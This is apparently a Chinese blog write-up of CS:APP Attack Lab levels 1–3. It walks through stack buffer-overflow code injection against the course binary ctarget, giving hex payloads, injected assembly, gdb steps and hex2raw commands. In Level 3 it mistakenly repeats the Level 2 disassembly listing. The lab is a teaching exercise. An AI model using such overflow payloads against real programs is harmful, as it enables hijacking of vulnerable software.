CSapp Attack实验

csapp Attack实验

本次实验依然是在Linux上实现,主要涉及两种攻击方式:code injection 代码注入攻击和Return-oriented programming(ROP)面相返回编程。

实验前三个level主要是对文件ctarget进行攻击,其中会用到hex2raw辅助工具来生成攻击字符串,实验前一定要看一下实验介绍writeup。

##第一部分
主要是代码注入攻击,执行ctarget文件的test函数,任务是通过修改返回地址,使执行完
getbuf函数后返回到其他函数,而不是返回test

####level 1:

这关不需要注入代码,只要修改getbuf函数的返回值返回到touch1即可。
首先我们用objdump 命令反编译ctarget文件重定向到一个文本文件里

1
objdump -d ctarget >level1

然后用vim打开level1,用/getbuf查找到getbuf的汇编代码:
![YW8U__L8IJAK29EM8_5AJ`Y.png](https://s2.loli.net/2022/05/19/ktowqAOeMu79BpG.png)
可以看到getbuf申请了40个字节的空间,因此我们要覆盖的返回地址是从第41个字节开始
然后我们在查找touch1文件,得到第一行的地址为4017c0,这就是我们要返回的地址,ret指令获得的是8个字节的地址,因此我们需要输入48个字节,前40个随便输入,最后八位是修改后的返回地址,注意这里是小端序,这里我们创建一个文本文件ans.txt,把要输入的攻击字符串写出来:

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00

然后我们用hex2raw来生成攻击字符串ansx.txt:

1
./hex2raw < ans.txt > ansx.txt

然后我们执行ctarget文件ansx.txt作为输入

1
./ctarget -qi ansx.txt

即可完成实验。

###Level2

第二关要求我们注入一些代码,大致任务是,让test返回到touch2函数,并且向%rdi传入一个cookie值作为参数传入touch2使其输出正确的内容

经过分析,我们把任务分为这几个步骤
####1.用gdb找到getbuf的rsp栈顶指针
我们gdb ctarget进入调试,然后在getbuf函数设置断点,在运行,并si执行进入getbuf,disas getbuf查看是否执行到分配完空间,再print $rsp 得到栈顶地址,如下图:
FIA@C_7HRW_U__7_LMK_4FP.png

####2.找到touch2的首地址

我们用vim打开在之前重定向的ctarget程序源码文本level1
然后输入/touch2 找到touch2首地址:
94QK_KDUT_4H_9X0H~_9KM6.png

####3.查看cookie的值
这个值直接在当前目录下已经给我们了,只要cat cookie.txt 即可

####4.编写攻击汇编代码
这里的一些方法可以参考writeup的附录B
我们先创建一个l2.s
这里我们只需要把cookie值传给%rdi,然后返回touch2,所以汇编指令为

1
2
3
movq $0x59b997fa,%rdi    #cookie传入rdi
pushq $0x4017ec #把touch2首地址压入栈
retq #返回

####4.得到攻击代码的16进制编码
根据附录B的指示
我们进行如下操作

1
2
gcc -c l2.s  #编译我们写的代码
objdump -d l2.o >l2.d #反编译代码

然后我们 cat 查看l2.d

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/attc/target1]
└─$ cat lcc2.d

lcc2.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret

指令前面的16进制编码就是我们需要的字节编码。

####5.编写攻击代码
这里我们需要先把刚才生成的指令字节编码输入,然后填充到40字节,最后把rsp的地址输入作为getbuf的返回地址(注意最后的返回地址是小端序存储,并且要补齐八个字节)
所以我们创建ans2.txt而输入的代码是

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

####6.调用运行
最后我们生成攻击代码并运行ctarget

1
2
./hex2raw < ans2.txt > ans2x.txt
./ctarget -qi ans2x.txt

得到结果:
__0KW9~6Y_B__IN2SG5Y@SW.png
可以看到第二行是touch2!证明我们正确运行了。

###Level3

第三部分任务是让给我们执行touch3函数,也需要把cookie值传入%rdi寄存器作为参数传给touch3,与上一关不同的是,这次我们要传的是cookie的字符串格式,而且不能直接传给%rdi
而是把存字符串的地址传给他,所以我们要把cookie转换成16进制的ASCII码并且存到一个位置,后边的提示告诉我们,由于touch3中存在hexmatch和strncmp函数,会分配空间覆盖getbuf的空间,所以我们不能把字符串存在getbuf栈帧内,我们可以存到test函数的栈帧中,因为他不会受到影响。
touch3里的hexmatch函数主要是比较我们传入的字符串与cookie是否相同。
那么第三关就可以分为以下几个步骤

####1.把cookie值转换成ascll 16进制码

查看cookie文件得到cookie为0x59b997fa
根据提示信息,我们用man ASCII 查看ASCII码表得到cookie的ascill码 为
35 39 62 39 39 37 66 61 00(字符串后边要加/0)

####2.找到test的栈顶指针
我们用gdb ctarget调试该程序
然后在test设置断点,run -q 运行,
ni单步执行到test分配完空间
print $rsp查看栈顶指针,得到

1
2
(gdb) print $rsp
$2 = (void *) 0x5561dca8

这就是我们要存字符串的地址

####3.找到getbuf的栈顶指针
同样的,gdb ctarget进入gdb界面
b getbuf 设置断点
run -q运行
ni单步执行到getbuf分配完空间
print $rsp 查看栈顶指针

1
2
(gdb) print $rsp
$5 = (void *) 0x5561dc78

这是我们要修改成的getbuf返回地址

####4.找到touch3的首地址
我们用vim打开反编译ctarget的level1文件
输入/touch3找到touch3的首地址为0x4018fa,如图:
@CLEF_0E__RG9EFOZE_1FN9.png

####5.编写注入汇编代码
我们vim打开一个新文件l3.s
这里我们要实现的是把cookie字符串所在地址传给%rdi,然后返回到touch3,所以汇编代码是:

1
2
3
movq $0x5561dca8,%rdi
pushq $0x4018fa
retq

然后我们gcc -c l3.s 进行编译
如果不报错,就objdump -d l3.o > l3.d 反编译
然后cat l3.d查看汇编指令的16进制字节编码:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/attc/target1]
└─$ cat lcc2.d

lcc2.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret

####6.编写攻击代码并运行
我们先输入注入攻击的代码,然后补充到40字节,在吧之前得到的getbuf栈顶指针覆盖到getbuf的返回地址,然后补充到八字节,在吧字符串的ascill码输入,所以攻击代码为

1
2
3
4
5
6
7
8
48 c7 c7 a8 dc 61 55 68  #攻击指令
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 #返回到攻击指令
35 39 62 39 39 37 66 61 #字符串
00

保存到ans3.txt最后输入

1
./hex2raw < ans3.txt > ans3x.txt

得到攻击字符,最后运行ctarget
如果运行成功,即可得到如下画面:
__0KW9~6Y_B__IN2SG5Y@SW.png